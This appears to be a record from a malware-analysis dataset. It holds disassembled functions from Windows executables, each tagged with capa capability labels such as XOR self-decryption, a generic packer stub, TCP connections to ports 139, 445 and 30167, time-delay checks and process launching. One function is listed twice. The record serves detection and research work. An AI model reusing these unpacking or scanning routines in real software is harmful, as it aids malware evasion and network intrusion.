joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402710
Capabilities:
Accept command line arguments
Create process on windows
Read file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
lea ebx, [ebp - 0x220]
sub esp, 0x238
call fcn.004016d0
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_strcpy
cmp byte [ebp - 0x220], 0x22
je 0x402852
mov esi, ebx
mov dword [esp + 4], 0x22
mov dword [esp], esi
call sub.msvcrt.dll_strrchr
test eax, eax
je 0x40276a
mov byte [eax], 0
lea edi, [ebp - 0x11c]
mov dword [esp + 4], esi
mov dword [esp], edi
call sub.msvcrt.dll_strcpy
mov dword [esp + 4], 0x5c
mov dword [esp], edi
call sub.msvcrt.dll_strrchr
test eax, eax
je 0x402793
mov byte [eax], 0
mov dword [esp], esi
mov dword [esp + 4], 0x404024
call sub.msvcrt.dll_fopen
mov esi, eax
test eax, eax
je 0x402844
mov dword [esp + 8], 2
mov dword [esp + 4], 0xffffff01
mov dword [esp], eax
call sub.msvcrt.dll_fseek
mov dword [esp + 0xc], esi
mov dword [esp + 8], 0xff
mov dword [esp + 4], 1
mov dword [esp], ebx
call sub.msvcrt.dll_fread
mov dword [esp], esi
call sub.msvcrt.dll_fclose
mov dword [esp + 4], ebx
mov dword [esp], str.12345678901234567890123456789012345678901234567890123456789012345678901234567890
call sub.msvcrt.dll_strcpy
mov dword [esp + 4], 0x5c
mov dword [esp], str.12345678901234567890123456789012345678901234567890123456789012345678901234567890
call sub.msvcrt.dll_strrchr
test eax, eax
je 0x402814
mov byte [eax], 0
mov dword [esp + 0x14], 5
mov dword [esp + 0x10], str.12345678901234567890123456789012345678901234567890123456789012345678901234567890
mov dword [esp + 0xc], edi
mov dword [esp + 8], ebx
mov dword [esp + 4], str.open
mov dword [esp], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
sub esp, 0x18
lea esp, [ebp - 0x10]
xor eax, eax
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
lea esi, [ebp - 0x21f]
jmp 0x402753

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..rsrc
nop
nop
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
je 0x433072
nop
nop
nop
nop
nop
mov ebx, 0x40de38
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x67d34b0f
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x433060
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4330d2
nop
mov ebx, 0x4304d8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x703a2640
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x4074a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebx
mov ebx, eax
lea eax, [ebx + 0x44]
push eax
mov dl, 1
mov al, 2
call fcn.00405078
push eax
call sub.wsock32.dll_WSAStartup
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebx + 0x30], eax
mov word [ebx + 0x34], 2
mov ax, word [ebx + 4]
push eax
call sub.wsock32.dll_htons
mov word [ebx + 0x36], ax
mov eax, dword [ebx + 8]
call fcn.00404664
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebx + 0x38], eax
push pe_nt_image_headers32
lea eax, [ebx + 0x34]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.wsock32.dll_connect
test eax, eax
jne 0x40750a
mov eax, ebx
call fcn.0040738c
mov eax, ebx
call fcn.00405694
call sub.wsock32.dll_WSACleanup
cmp dword [ebx + 0x2c], 0
jne 0x4074a3
pop ebx
ret
Function at 0x409048
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe64
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x19c], ecx
mov dword [ebp - 0x198], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404654
xor eax, eax
push ebp
push 0x40918f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.004041ec
lea eax, [ebp - 0x194]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
xor edx, edx
push ebp
push 0x40915a
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 4]
call fcn.00404664
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x409150
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x409146
cmp dword [ebp - 4], 0
jne 0x409132
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 0x198]
call fcn.004043d4
mov edx, dword [ebp - 0x198]
mov eax, 0x4091a8
call fcn.004047a8
dec eax
je 0x409145
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 0x19c]
call fcn.004043d4
mov edx, dword [ebp - 0x19c]
mov eax, 0x4091b4
call fcn.004047a8
dec eax
je 0x409145
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, edi
call fcn.004043d4
jmp 0x409150
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, edi
call fcn.004043d4
inc ebx
cmp dword [esi + ebx*4], 0
jne 0x4090c3
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x409164
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409196
lea eax, [ebp - 0x19c]
mov edx, 2
call fcn.00404210
lea eax, [ebp - 4]
call fcn.004041ec
ret

Function at 0x409208
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404654
xor eax, eax
push ebp
push 0x40925c
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov al, bl
push eax
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404664
push eax
push 0x409268
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409263
lea eax, [ebp - 4]
call fcn.004041ec
ret

Function at 0x409304
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor ecx, ecx
mov dword [ebp - 0x10c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404654
xor eax, eax
push ebp
push 0x409393
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x105]
push eax
push 0x100
call sub.kernel32.dll_GetTempPathA
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x105]
mov ecx, 0x101
call fcn.0040444c
push dword [ebp - 0x10c]
push 0x4093a8
push dword [ebp - 4]
mov eax, ebx
mov edx, 3
call fcn.00404524
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40939a
lea eax, [ebp - 0x10c]
call fcn.004041ec
lea eax, [ebp - 4]
call fcn.004041ec
ret
Function at 0x4093ac
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor ecx, ecx
mov dword [ebp - 0x10c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404654
xor eax, eax
push ebp
push 0x40943b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x105]
push eax
push 0x100
call sub.kernel32.dll_GetCurrentDirectoryA
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x105]
mov ecx, 0x101
call fcn.0040444c
push dword [ebp - 0x10c]
push 0x409450
push dword [ebp - 4]
mov eax, ebx
mov edx, 3
call fcn.00404524
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409442
lea eax, [ebp - 0x10c]
call fcn.004041ec
lea eax, [ebp - 4]
call fcn.004041ec
ret

Function at 0x409454
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor ecx, ecx
mov dword [ebp - 0x10c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404654
xor eax, eax
push ebp
push 0x4094e3
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x100
lea eax, [ebp - 0x105]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x105]
mov ecx, 0x101
call fcn.0040444c
push dword [ebp - 0x10c]
push 0x4094f8
push dword [ebp - 4]
mov eax, ebx
mov edx, 3
call fcn.00404524
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4094ea
lea eax, [ebp - 0x10c]
call fcn.004041ec
lea eax, [ebp - 4]
call fcn.004041ec
ret

Function at 0x4094fc
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor ecx, ecx
mov dword [ebp - 0x10c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404654
xor eax, eax
push ebp
push 0x40958b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x100
lea eax, [ebp - 0x105]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x105]
mov ecx, 0x101
call fcn.0040444c
push dword [ebp - 0x10c]
push 0x4095a0
push dword [ebp - 4]
mov eax, ebx
mov edx, 3
call fcn.00404524
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409592
lea eax, [ebp - 0x10c]
call fcn.004041ec
lea eax, [ebp - 4]
call fcn.004041ec
ret
Function at 0x40a62c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov ebx, eax
xor ebp, ebp
xor edi, edi
lea eax, [ebx + 0x10]
call fcn.004041ec
cmp ebp, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x40a695
mov eax, dword [ebx + 0x10]
mov edx, 0x40a7c8
call fcn.004045b0
jne 0x40a664
lea eax, [ebx + 0x10]
call fcn.004041ec
jmp 0x40a69d
mov eax, dword [ebx + 0x10]
mov edx, 0x40a7d4
call fcn.004045b0
jne 0x40a680
lea eax, [ebx + 0x10]
mov edx, 0x40a7c8
call fcn.00404240
cmp dword [ebx + 0x10], 0
jne 0x40a69d
lea eax, [ebx + 0x10]
mov edx, 0x40a7d4
call fcn.00404240
jmp 0x40a69d
lea eax, [ebx + 0x10]
call fcn.004041ec
mov eax, ebx
call fcn.0040a47c
mov eax, dword [0x40b158]
inc dword [eax]
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov esi, eax
mov word [esp], 2
push 0x8b
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0x10]
call fcn.00404664
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x40a6f7
or edi, 0xffffffff
jmp 0x40a784
mov eax, dword [0x40b170]
inc dword [eax]
mov word [esp], 2
push 0x1bd
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0x10]
call fcn.00404664
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x40a73a
or edi, 0xffffffff
jmp 0x40a784
mov eax, dword [0x40b170]
inc dword [eax]
mov word [esp], 2
push 0x75d7
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0x10]
call fcn.00404664
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x40a77d
or edi, 0xffffffff
jmp 0x40a784
mov eax, dword [0x40b170]
inc dword [eax]
test edi, edi
je 0x40a7a7
push esi
call sub.wsock32.dll_closesocket
lea eax, [ebx + 0x14]
mov ecx, dword [ebx + 0x10]
mov edx, 0x40a7e0
call fcn.004044b0
mov eax, ebx
call fcn.0040a354
mov ebp, eax
push 0x200
call sub.kernel32.dll_Sleep
jmp 0x40a641
Function at 0x40720c
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffdf4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00409d18
test esi, esi
jne 0x407242
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00409ea0
jmp 0x407260
call sub.kernel32.dll_GetCommandLineW
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00407150
mov edi, eax
test esi, esi
je 0x407260
cmp dword [ebx], 0
je 0x407260
dec esi
jmp 0x407249
add esp, 0x20c
pop edi
pop esi
pop ebx
ret

Function at 0x408930
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov edi, edx
mov esi, eax
mov ebp, dword [esi + 0x10]
mov eax, esi
call fcn.00408dbc
mov byte [esp], al
cmp byte [esp], 0
jne 0x408ab9
test edi, edi
je 0x408ab9
mov byte [esp + 1], 0
test ebp, ebp
jle 0x4089f9
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp + 0xc], eax
test ebp, ebp
jle 0x4089d4
cmp edi, 0xffffffff
je 0x408995
call sub.kernel32.dll_GetTickCount
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x408995
mov byte [esp], 0
jmp 0x408ab9
cmp dword [esi], 1
jg 0x4089d4
cmp dword [esi], 0
jne 0x4089c6
xor eax, eax
mov edx, 1
lock cmpxchg dword [esi], edx
test eax, eax
jne 0x4089c6
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov byte [esp], 1
jmp 0x408ab9
lea eax, [esp + 0xc]
call fcn.004085ec
dec ebp
test ebp, ebp
jg 0x40897a
cmp edi, 0xffffffff
je 0x4089f9
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x4089f7
mov byte [esp], 0
jmp 0x408ab9
sub edi, eax
mov ebx, dword [esi]
test ebx, ebx
je 0x40893e
lea edx, [ebx + 2]
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x4089f9
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
mov eax, esi
call fcn.00408b28
mov edx, eax
mov ebx, dword [0x6748fc]
mov ecx, edi
xor eax, eax
call dword [ebx + 0x10]
test eax, eax
sete byte [esp]
cmp edi, 0xffffffff
je 0x408a5d
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
jbe 0x408a5b
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
sub edi, eax
jmp 0x408a5d
xor edi, edi
cmp byte [esp], 0
je 0x408a83
mov ebx, dword [esi]
test bl, 1
jne 0x408a99
mov edx, ebx
sub edx, 2
or edx, 1
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408a63
mov byte [esp + 1], 1
jmp 0x408a99
mov ebx, dword [esi]
mov edx, ebx
sub edx, 2
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408a83
mov byte [esp + 1], 1
cmp byte [esp + 1], 0
je 0x408a10
cmp byte [esp], 0
je 0x408ab9
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
movzx eax, byte [esp]
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4096fc
Capabilities:
Terminate process

Disassembly:
push ecx
push ebx
push esi
push edi
mov ebx, 0x676b9c
cmp dword [ebp + 0xc], 2
jl 0x409710
mov ebx, 0x676bcc
mov esi, ebx
lea edi, [ebp - 0x40]
mov ecx, 0xc
rep movsd dword es:[edi], dword [esi]
pop dword [ebx + 0x20]
pop dword [ebx + 0x1c]
pop dword [ebx + 0x18]
mov dword [ebx + 0x14], ebp
mov dword [ebx + 8], eax
mov dword [ebx + 0x10], edx
lea ecx, [ebp - 0x40]
mov dword [ebx], ecx
call sub.kernel32.dll_GetCurrentThreadId
mov dword [ebx + 0x2c], eax
mov eax, dword [ebx + 8]
xor ecx, ecx
cmp dword [ebp + 0xc], 0
jne 0x409748
mov ecx, dword [eax]
mov dword [ebx + 0xc], ecx
mov eax, 0x405130
mov dword [0x67401c], eax
mov eax, 0x405138
mov dword [0x674020], eax
mov eax, ebx
call fcn.004095e0
mov eax, dword [ebp + 0xc]
inc eax
mov byte [ebx + 0x28], al
dec eax
pop ecx
mov edx, dword [ecx]
mov dword [ebx + 0x24], edx
je 0x40977d
cmp al, 3
jge 0x40977d
call dword [ecx + eax*4]
push ecx
mov ecx, dword [esp + 8]
test ecx, ecx
je 0x40978e
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
call ecx
pop ecx
mov eax, dword [ebp + 0xc]
cmp al, 3
jl 0x409799
call dword [ecx + eax*4]
cmp dword [0x674040], 0
jne 0x4097af
mov byte [0x674048], 1
fnstcw word [0x66b028]
mov eax, dword [ebp + 0xc]
dec eax
jne fcn.00409a48
call fcn.00409690
ret 4

Function at 0x4099b0
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x67405c], 0
je 0x409a17
cmp word [0x674348], 0xd7b2
jne 0x4099d9
cmp dword [0x674350], 0
jbe 0x4099d9
mov eax, 0x674344
call dword [0x674360]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
mov eax, 0x409a44
call fcn.0040a4c0
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x66b032], 0
jne 0x409a33
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x409bd8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov edi, dword [ebp + 0x10]
cmp dword [0x66b034], 0
je 0x409c03
mov edx, edi
mov eax, esi
call dword [0x66b034]
mov ebx, eax
jmp 0x409c14
mov eax, 8
call fcn.00406e8c
mov ebx, eax
mov dword [ebx], esi
mov dword [ebx + 4], edi
mov byte [0x67405d], 1
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
push ebx
mov eax, 0x409ba0
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CreateThread
mov esi, eax
test esi, esi
jne 0x409c44
mov eax, ebx
call fcn.00406ea8
mov eax, esi
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 0xc
Function at 0x40c940
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe98
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x160], ecx
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x40caa5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00409d18
cmp si, word [0x66ba00]
jb 0x40c9d8
cmp si, word [0x66bc00]
ja 0x40c9d8
mov edi, 0x40
xor eax, eax
mov dword [ebp - 8], eax
cmp edi, dword [ebp - 8]
jb 0x40c9d8
mov ebx, edi
add ebx, dword [ebp - 8]
shr ebx, 1
cmp si, word [ebx*8 + 0x66ba00]
jae 0x40c9b2
mov edi, ebx
dec edi
jmp 0x40c9d3
cmp si, word [ebx*8 + 0x66ba00]
jbe 0x40c9c2
inc ebx
mov dword [ebp - 8], ebx
jmp 0x40c9d3
mov edx, dword [ebp - 4]
mov eax, dword [ebx*8 + 0x66ba04]
call fcn.0040c860
jmp 0x40c9d8
cmp edi, dword [ebp - 8]
jae 0x40c99c
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jne 0x40ca87
push 2
movzx eax, si
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x40ca87
push 0x55
lea eax, [ebp - 0xb2]
push eax
push 0x59
movzx ebx, si
push ebx
call sub.kernel32.dll_GetLocaleInfoW
push 0x55
lea eax, [ebp - 0x15c]
push eax
push 0x5a
push ebx
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x160]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040a878
push dword [ebp - 0x160]
push 0x40cac0
lea eax, [ebp - 0x164]
lea edx, [ebp - 0x15c]
mov ecx, 0x55
call fcn.0040a878
push dword [ebp - 0x164]
push 0x40cad0
lea eax, [ebp - 0x168]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040a878
push dword [ebp - 0x168]
mov eax, dword [ebp - 4]
mov edx, 5
call fcn.0040aab0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40caac
lea eax, [ebp - 0x168]
mov edx, 3
call fcn.00409d78
ret
Function at 0x40cc58
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40cd5c
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x676c14
call sub.kernel32.dll_EnterCriticalSection
cmp bx, word [0x676c2c]
jne 0x40cca4
mov eax, esi
mov edx, 0x676c2e
mov ecx, 0x55
call fcn.0040a878
push 0x676c14
call sub.kernel32.dll_LeaveCriticalSection
jmp 0x40cd46
push 0x676c14
call sub.kernel32.dll_LeaveCriticalSection
mov eax, esi
call fcn.00409d18
push 2
movzx eax, bx
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x40cd13
cmp byte [0x676c10], 0
je 0x40ccd8
mov edx, esi
mov eax, ebx
call fcn.0040cb3c
jmp 0x40cd13
mov edx, esi
mov eax, ebx
call fcn.0040c940
call sub.kernel32.dll_GetSystemDefaultUILanguage
cmp bx, ax
je 0x40cd13
cmp dword [esi], 0
je 0x40ccfc
mov eax, esi
mov edx, 0x40cd74
call fcn.0040a9d0
call sub.kernel32.dll_GetSystemDefaultUILanguage
lea edx, [ebp - 4]
call fcn.0040c940
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.0040a9d0
push 0x676c14
call sub.kernel32.dll_EnterCriticalSection
mov word [0x676c2c], bx
mov eax, dword [esi]
call fcn.0040a7bc
mov ecx, eax
mov eax, 0x676c2e
mov edx, 0xaa
call fcn.0040c7c0
push 0x676c14
call sub.kernel32.dll_LeaveCriticalSection
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40cd63
lea eax, [ebp - 4]
call fcn.00409d18
ret
Function at 0x422620
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x422679
test eax, edx
je 0x42267c
movzx ecx, word [edx]
cmp cx, word [eax]
je 0x422637
movzx eax, word [eax]
sub eax, ecx
jmp 0x42265e
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
shl ecx, 1
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x42265f
add ecx, 4
js 0x42264f
pop eax
pop ebx
ret
bsf ebx, ebx
shr ebx, 4
add ebx, ebx
add ecx, ebx
jns 0x42265c
movzx eax, word [ecx + eax]
movzx edx, word [ecx + edx]
sub eax, edx
pop ebx
pop ebx
jmp 0x42265e
xor eax, eax
ret
test eax, eax
je 0x422688
test edx, edx
jne 0x422628
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret

Function at 0x423ba4
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [esi]
add eax, edi
push eax
push ebx
call sub.kernel32.dll_ReadFile
test eax, eax
jne 0x423bd1
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 4

Function at 0x423ca4
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
mov eax, esi
call fcn.0040a7bc
mov edi, eax
push edi
call sub.kernel32.dll_GetFileAttributesW
cmp eax, 0xffffffff
je 0x423d0e
test ah, 4
je 0x423d07
test bl, bl
jne 0x423ccc
mov al, 1
jmp 0x423d35
test al, 0x10
je 0x423cd4
xor eax, eax
jmp 0x423d35
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push edi
call sub.kernel32.dll_CreateFileW
cmp eax, 0xffffffff
je 0x423cf8
push eax
call sub.kernel32.dll_CloseHandle_1
mov al, 1
jmp 0x423d35
call sub.kernel32.dll_GetLastError_2
mov ebx, eax
cmp ebx, 0x20
sete al
jmp 0x423d35
test al, 0x10
sete al
jmp 0x423d35
call sub.kernel32.dll_GetLastError_2
mov ebx, eax
cmp ebx, 2
je 0x423d2f
cmp ebx, 3
je 0x423d2f
cmp ebx, 0x7b
je 0x423d2f
mov eax, esi
call fcn.00423c64
test al, al
jne 0x423d33
xor eax, eax
jmp 0x423d35
mov al, 1
pop edi
pop esi
pop ebx
ret